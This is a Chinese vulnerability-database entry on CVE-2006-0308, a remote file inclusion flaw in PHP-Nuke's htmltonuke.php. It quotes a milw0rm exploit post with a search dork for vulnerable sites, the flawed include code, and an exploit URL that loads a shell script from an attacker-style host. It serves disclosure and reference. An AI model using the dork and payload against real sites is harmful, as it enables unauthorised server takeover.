HTMLtoNuke HTMLtonuke.PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112501 漏洞类型 代码注入
发布时间 2007-03-20 更新时间 2007-03-30
CVE编号 CVE-2006-0308 CNNVD-ID CNNVD-200601-233
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/3524
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200601-233
|漏洞详情
PHP-Nuke的htmltonuke2.0alpha及可能的其他版本模块中的htmltonuke.php中存在PHP远程文件包含漏洞,远程攻击者可以通过filnavn参数中的URL执行任意PHP代码。
|漏洞EXP
######################################################
#
# htmltonuke 2.0alpha for postnuke & PHP-Nuke(htmltonuke.php) Remote File Include Vulnerabilities
#
######################################################
#
# script :http://www.desarrollonuke.org
#         http://up.9q9q.net/up/index.php?f=ddAvVTUSs
#
######################################################
#
# file :  /htmltonuke.php
#
######################################################
#
# Dork : "/nuke/htmltonuke.php" - "htmltonuke.php"
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/
#
######################################################
# //verifie s'il y a l'extension ".htm"
# if(substr($filnavn,-4)!=".htm" && substr($filnavn,-5)!=".html" ){
#       echo "Only files HTML are authorized...";
#       CloseTable();
#       include("footer.php");
# }
# else {
#       // verifie si l'on remonte dans l'arborescense
#       // verifie si l'on sort du site
#       if( substr($filnavn,0,5)!="./../" && substr($filnavn,0,7)!="http://" ){
#               include ($filnavn);
#               CloseTable();
#               include("footer.php");
#       }
#
######################################################
#
# exploit :
http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm
#
######################################################

----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper | All i know

#Big Thx For : www.4azhar.com ,  Long Life My HomeLand Palestine

# milw0rm.com [2007-03-20]
|参考资料

来源:XF
名称:htmltonuke-htmltonuke-file-include(33092)
链接:http://xforce.iss.net/xforce/xfdb/33092
来源:BID
名称:16282
链接:http://www.securityfocus.com/bid/16282
来源:MILW0RM
名称:3524
链接:http://www.milw0rm.com/exploits/3524